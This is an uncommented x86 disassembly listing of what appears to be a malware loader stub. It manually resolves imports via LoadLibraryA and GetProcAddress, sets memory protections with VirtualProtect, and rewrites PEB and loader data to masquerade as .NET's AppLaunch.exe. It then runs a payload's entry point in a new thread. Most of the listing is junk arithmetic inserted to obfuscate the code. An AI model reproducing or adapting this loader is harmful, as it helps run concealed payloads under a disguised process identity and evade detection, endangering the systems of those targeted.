neg ebx
imul edi
and eax, 0xc4
neg edi
bswap edx
add eax, 0x2d
imul edx
sub edx, 0xa3
rcr ebx, 4
rcl esi, 0x6e
rol eax, 7
not ebx
bswap esi
ror edx, 0xbe
add edi, 0x90
imul esi
bswap edi
or edx, 0x67
inc edi
rol edi, 0xd1
inc eax
inc edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x6c]
imul ecx, dword [ebp - 0x70], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x402752
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x402683
jmp 0x402744
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
cmp dword [eax + ecx*4], 0
je 0x40273f
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x80]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x402712
mov eax, dword [ebp - 0x84]
add eax, 2
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x6c]
imul esi, dword [ebp - 0x70], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x80]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
jmp 0x40269c
jmp 0x402744
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
jmp 0x40263d
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x4028cf
mov dword [ebp - 0x94], 0x40
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x90], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x4027db
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x4027db
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x4027db
mov dword [ebp - 0x94], 0x40
jmp 0x402876
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x402812
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x402812
mov dword [ebp - 0x94], 4
jmp 0x402871
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x402849
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x402849
mov dword [ebp - 0x94], 0x20
jmp 0x40286c
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x402867
mov dword [ebp - 0x94], 2
jmp 0x40286c
jmp 0x402871
jmp 0x402876
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x48]
imul edx, dword [ebp - 0x90], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
imul edi, dword [ebp - 0x90], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x8c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
jmp 0x40275c
rcr esi, 0x96
dec esi
not ebx
rol edx, 0x12
or esi, 0x4c
rcl edx, 0xd7
imul ebx
ror esi, 0xf9
sbb edx, 0xb6
or edi, 0x48
rcl esi, 0
dec esi
rcl eax, 0xb6
or edi, 0xfe
imul eax
not edx
not edi
bswap ebx
ror esi, 0xc
imul edx
inc ebx
mov edi, 0xc7
inc edx
not edi
rcr edi, 0xdc
dec eax
sub eax, 0x22
ror edi, 0xc3
sbb esi, 0xa5
and edx, 0xb1
and esi, 2
not ebx
not edx
add eax, 0xc8
add eax, 0x94
sub ebx, 0xec
rcl edx, 0xeb
and edx, 0xd7
dec edx
sbb edi, 0x60
rcl esi, 0xc6
and eax, 0xa1
inc esi
rcl esi, 0xe5
sbb edi, 0x29
imul eax
imul edx
bswap ebx
not esi
neg eax
and esi, 0x77
or eax, 0xd2
mov edx, 0x9e
inc esi
and eax, 0x6d
and edx, 0x48
neg esi
neg edi
not edi
not edi
ror eax, 0x15
and edi, 0xd5
rol ebx, 0x49
rcr esi, 0xbd
not edx
imul eax
rol edi, 0x64
sbb ebx, 0xbc
mov edi, 0x4c
rcr edx, 0x6a
add edx, 0xe0
add esi, 0xb4
bswap edx
sbb ebx, 0x22
not eax
rcr ebx, 0xa6
ror eax, 0x53
dec esi
and edi, 0x20
sub ebx, 0xf6
sbb ebx, 0xe
ror edi, 0x20
and eax, 0x91
ror esi, 0x2e
rcl ebx, 0x3b
neg eax
bswap eax
not esi
or edi, 0x81
imul ebx
dec edx
rcr edi, 0x8d
and eax, 0xc8
not edx
not edi
dec ebx
inc eax
inc eax
sbb ebx, 0xcc
imul edx
add ebx, 0x42
rcl edi, 0x97
add esi, 0xf9
add ebx, 0x2b
rcr eax, 8
sub edx, 0x96
rcl edi, 0x21
sbb ebx, 0xaf
rol esi, 0xa1
sbb ebx, 0x84
rol eax, 0x6d
add esi, 0x39
neg eax
mov edx, 0x62
rcr ebx, 0x33
dec edx
imul edx
and edi, 0x89
bswap ebx
bswap esi
dec esi
add edi, 0x6c
add eax, 0x5a
sub eax, 0x61
not edi
add esi, 0x59
bswap ebx
sbb eax, 0x9c
rcl ebx, 0x94
add edx, 0xe2
ror edi, 0x2e
rcl edi, 0x2d
not edi
rcl ebx, 0x48
and esi, 6
sub edi, 0xb9
sub esi, 0xf0
rcl ebx, 0x3e
add edi, 0x5f
sbb edi, 0xd3
dec edx
dec eax
or edi, 0xde
inc eax
ror edi, 0xfb
and esi, 0x14
dec esi
neg esi
sub ebx, 0x5d
add eax, 8
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0xa4], eax
sbb edx, 0x5a
neg ebx
not esi
neg edi
inc edx
and esi, 0x25
bswap edx
inc ebx
rol edx, 0x89
add esi, 0xc5
sub edx, 0x3c
sbb ebx, 6
dec edx
dec edi
imul edi
ror ebx, 0x68
inc eax
inc edx
rol edi, 0xbf
mov edi, 0x50
neg eax
dec ebx
inc ebx
add eax, 0x32
dec edx
sub ebx, 0x1f
imul edi
imul edi
rcl esi, 0x54
sbb ebx, 0xbd
imul esi
or esi, 0xe6
and edx, 0x86
bswap ebx
and edx, 0x78
inc edx
or edx, 0x1b
dec esi
imul edx
imul eax
ror edi, 0xbd
ror esi, 0xd7
mov ebx, 0x19
rcr esi, 0xf8
dec esi
neg esi
and eax, 0xb8
sub eax, 0x54
rcr eax, 0xf8
or eax, 0xe0
rcl edx, 0xe9
neg edi
neg esi
dec ebx
neg esi
inc ebx
sbb edx, 8
imul edx
rcl esi, 0xb
rol edx, 0x45
dec eax
neg edi
rcr edi, 0x6c
add edx, 0xa6
not eax
imul esi
sbb esi, 0x20
inc edx
or edx, 0x33
and ebx, 0xc8
imul edi
ror eax, 0xc2
bswap ebx
inc edx
inc eax
rcl eax, 0xe0
imul ebx
imul eax
bswap edi
not ebx
sbb edi, 0xb0
or eax, 0x15
not edi
and esi, 0xe2
bswap edi
sub eax, 0x4f
add esi, 0xe5
not esi
dec ebx
dec ebx
bswap eax
dec esi
and eax, 0xf7
or esi, 0x75
dec edx
or eax, 0xab
ror ebx, 0xb5
sub ebx, 0xba
neg edi
not edx
neg edi
rol ebx, 6
inc ebx
add eax, 0x81
not edx
and eax, 0x7c
rol esi, 0x50
rol ebx, 0xd6
not ebx
rcl eax, 0xd0
dec edx
dec edi
rcr eax, 0xd3
neg edi
and edi, 0x81
or edi, 0xc2
sbb edi, 0x60
inc edx
inc edx
rcl edx, 0x68
rol esi, 0xaa
and esi, 0x26
rcl edi, 0xef
not ebx
or ebx, 0x42
ror edi, 0x77
inc esi
and esi, 0x66
rcl edx, 0xa9
dec edi
inc edi
inc ebx
neg esi
neg edi
ror esi, 0x51
imul edi
imul esi
inc edx
ror edi, 0xc1
or eax, 0xd
sub esi, 0x18
or eax, 0x9c
dec edi
bswap ebx
rol edi, 0x56
bswap esi
inc ebx
ror eax, 0x7f
and eax, 0x67
imul ebx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xa4]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0xa4]
add eax, 0x24
mov dword [ebp - 0xa8], eax
inc esi
or edx, 0x2c
not edi
rol edx, 0xd0
rol eax, 0xa3
mov ebx, 0x1c
inc esi
inc ebx
dec edx
and eax, 0xcf
inc esi
sub esi, 0x35
bswap edx
inc ebx
inc eax
imul eax
or esi, 0x62
add eax, 0xa6
neg edi
imul edx
and ebx, 0x54
ror eax, 0xd3
dec edi
bswap ebx
bswap edx
not ebx
rol eax, 0x20
dec esi
ror esi, 0xba
bswap edi
rcl ebx, 0x67
rol edi, 0x9b
imul ebx
or eax, 0x85
and edx, 0xf8
bswap ebx
ror esi, 0xf
mov edx, 0x37
bswap edx
and esi, 0xd3
add esi, 0x2b
add eax, 0xa5
mov esi, 0xd5
dec eax
or edi, 0x57
rol ebx, 0xf2
rcr ebx, 0xe2
rol eax, 0x63
not eax
sub edi, 0x28
mov ebx, 0x13
sub edi, 0x77
dec edi
not esi
neg ebx
or edi, 0x6d
dec edx
ror edx, 0x11
inc edi
mov edx, 0x5a
not ebx
and eax, 0x93
inc edi
inc eax
and edi, 0xae
not eax
rol edx, 0xa6
rol edi, 0x81
neg eax
sbb ebx, 0x13
mov esi, 0x39
sub ebx, 0x11
rol ebx, 0xc
dec edi
mov edi, 0x8e
not esi
bswap edi
and eax, 1
bswap edi
rcr edi, 0x96
or esi, 0xd5
rcl eax, 0x17
rcl edi, 0x75
and esi, 0x22
dec esi
ror eax, 0x51
inc ebx
add eax, 0x14
not eax
neg edx
and ebx, 0xf9
not esi
neg edx
dec ebx
not edx
sub ebx, 0xd0
sub ebx, 0x3d
rcl edx, 5
sbb eax, 0xa7
rol esi, 0x9d
ror edx, 0x9f
mov ebx, 0x39
dec edi
sbb ebx, 0x51
rcr ebx, 0x9c
neg ebx
bswap esi
mov ebx, 0x36
dec edi
not eax
inc edi
not esi
sbb eax, 0x40
dec edi
add edx, 0xee
sbb esi, 0x7f
not esi
bswap edi
and eax, 0xbb
imul edi
ror eax, 0xda
add edi, 0xa
or ebx, 0xbd
sub edi, 0x97
rol esi, 0x3c
sub esi, 0x1c
or edi, 0x47
ror edi, 0x4d
or ebx, 0xab
inc ebx
bswap eax
neg edi
mov edx, 0x38
not ebx
imul edx
rol esi, 0xad
inc edx
sbb ebx, 0xe5
inc eax
inc ebx
rcr edx, 0xc8
bswap ebx
dec eax
dec edx
rol esi, 0x80
ror esi, 0x7d
rcr esi, 0xf9
inc edx
rcl eax, 0x2a
inc edx
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x122]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.00405d30
mov eax, dword [ebp - 0x38]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x123], al
test byte [ebp - 0x123], 1
je 0x402eb5
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00401220
lea ecx, [ebp - 0x122]
mov eax, dword [ebp - 0xa8]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x122]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0xa8]
mov word [eax], cx
rcl eax, 0xd1
add esi, 0x2a
and eax, 0x5f
imul esi
imul edx
dec ebx
ror ebx, 0x74
rcr eax, 0xf4
rol edx, 0xb2
rcl eax, 0x12
add ebx, 0xc7
rcr esi, 0x49
rcl eax, 0x6e
neg ebx
mov esi, 0x7e
inc edx
sbb edx, 0x8b
imul esi
ror eax, 0xd6
and eax, 0xa2
ror edi, 0x50
rol esi, 0x19
and eax, 0x62
or esi, 0x2e
ror edi, 4
or edi, 0xa3
rol ebx, 0x8c
bswap edx
neg esi
ror eax, 0x42
not edx
sub ebx, 0x95
inc edi
rol edi, 0xea
neg eax
inc esi
sbb edx, 0x25
inc eax
rol ebx, 0x2c
bswap edi
dec edx
neg ebx
and esi, 1
rcr eax, 0xff
mov ebx, 0x85
inc esi
neg eax
mov eax, 0x3a
not eax
add ebx, 0xcc
sbb esi, 0xbe
imul edx
not edx
rcl edx, 0xbd
inc eax
and ebx, 0x94
dec esi
not ebx
mov edx, 0x8a
dec edi
or ebx, 0xbe
imul eax
rcl eax, 0x6c
add edx, 0x33
mov ebx, 0x16
rol ebx, 0xb8
mov edx, 0x41
and edi, 0x55
ror edx, 0xf3
dec edx
not esi
bswap edi
dec eax
sub ebx, 0x12
inc esi
and esi, 0xda
dec edi
inc eax
dec edi
not edx
inc edi
and edi, 1
dec edi
mov ebx, 0x2d
not edx
add ebx, 0x76
add edx, 0x70
rol eax, 0x7c
mov edx, 0x93
dec edx
rcr edi, 0x11
sub edi, 0x80
and edi, 0xfd
imul esi
imul edx
rcr edx, 0x74
add ebx, 0xc7
add esi, 0xdb
sub edx, 0xb7
sbb edi, 0x3d
imul eax
neg eax
mov ebx, 0x3c
ror esi, 0x8c
rol eax, 0x93
not edi
ror esi, 0x3d
bswap esi
sbb edx, 0x9a
rcl edi, 0x40
not edi
mov ebx, 0xb5
dec esi
neg eax
or edi, 0x89
neg edi
not edx
sbb eax, 0xd9
or esi, 0xd2
not ebx
not eax
inc edi
or edx, 0xb6
mov eax, 0x27
rol eax, 0xe9
bswap edx
imul ebx
inc edi
or esi, 0xb4
rol edx, 0x34
rcr edx, 0xbb
imul edx
and edx, 0xbb
dec edi
imul esi
rcr edi, 0x95
sub ebx, 0xe9
rcr edx, 0x5f
add edi, 0x66
sub ebx, 0xf9
rcr edx, 0xe5
rcl edx, 0x72
dec eax
not esi
bswap edi
rol edx, 0x26
not edx
mov edi, 0x91
imul edi
imul edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x130], eax
test byte [ebp - 0x123], 1
je 0x403101
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00401220
mov eax, dword [ebp - 0x130]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
imul eax
rcr esi, 0x70
dec eax
dec esi
mov eax, 0xe6
neg edi
bswap edx
sbb ebx, 3
imul ebx
not edi
bswap ebx
not edi
ror ebx, 0xb
rol edi, 0xf0
or edx, 0xc6
rol edi, 0x9c
dec eax
mov esi, 0xf6
or edi, 0x62
inc esi
and edx, 0x73
neg eax
rcl edi, 0xe5
bswap edi
not edi
not ebx
add esi, 0xa8
or eax, 0xd1
not edi
dec eax
ror ebx, 0x2a
sbb edi, 0xd6
or eax, 0x38
bswap edx
not esi
not ebx
sbb edi, 0x60
ror esi, 0x50
dec edi
sub eax, 0xcf
not edi
mov eax, 0x29
and eax, 0xff
rcl edi, 0x78
dec ebx
neg ebx
rol ebx, 0xc3
inc ebx
neg edi
sub eax, 0x3e
rol esi, 0xe6
ror edx, 0x92
rcr edx, 0x4c
sbb eax, 0xb3
not ebx
and edi, 0x2b
sbb edx, 0x34
dec ebx
rcr edi, 0x38
neg edx
not eax
bswap edx
imul edi
dec esi
inc eax
imul esi
rol eax, 0xde
not eax
dec eax
sub edx, 0x2a
inc ebx
dec edi
not esi
or esi, 0x6e
dec ebx
neg edi
rol eax, 0x50
not eax
neg edx
rcr esi, 0xa
not edx
add edx, 0x56
rcl edx, 0x8f
neg esi
dec eax
imul eax
neg edx
sub ebx, 0x9b
bswap edx
bswap edx
dec ebx
inc ebx
inc esi
rcl edi, 0x36
dec ebx
or eax, 0x78
bswap ebx
inc ebx
rcl ebx, 0x8a
neg edi
rcr eax, 0x38
rol eax, 0x62
mov edx, 0xc5
rcl eax, 3
rcl eax, 0x79
ror esi, 0x94
rcl eax, 0x4b
dec ebx
sbb edi, 0xd4
dec eax
rol edi, 0x9a
neg esi
bswap ebx
mov edi, 0xd7
not esi
and esi, 0x53
rcr edi, 0x9e
or ebx, 0x76
mov eax, 0xbf
sub esi, 0xf0
and ebx, 0xa
dec edx
rcr edi, 0xd6
inc ebx
sub edi, 0xa1
bswap edx
not eax
mov esi, 0x8b
or edi, 0x7b
rcr edx, 0x91
ror edi, 0x9a
rcl esi, 0x52
bswap eax
sbb edi, 0x4f
imul ebx
rol esi, 0xbb
not ebx
neg esi
rcr eax, 0x83
rcl edx, 0xa1
or esi, 0xc3
dec eax
ror edx, 0x40
bswap edi
neg edi
or eax, 0x17
sub edx, 0x5c
and edi, 0xbc
sub eax, 1
rol edi, 0x6b
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x144
pop esi
pop edi
pop ebx
pop ebp
ret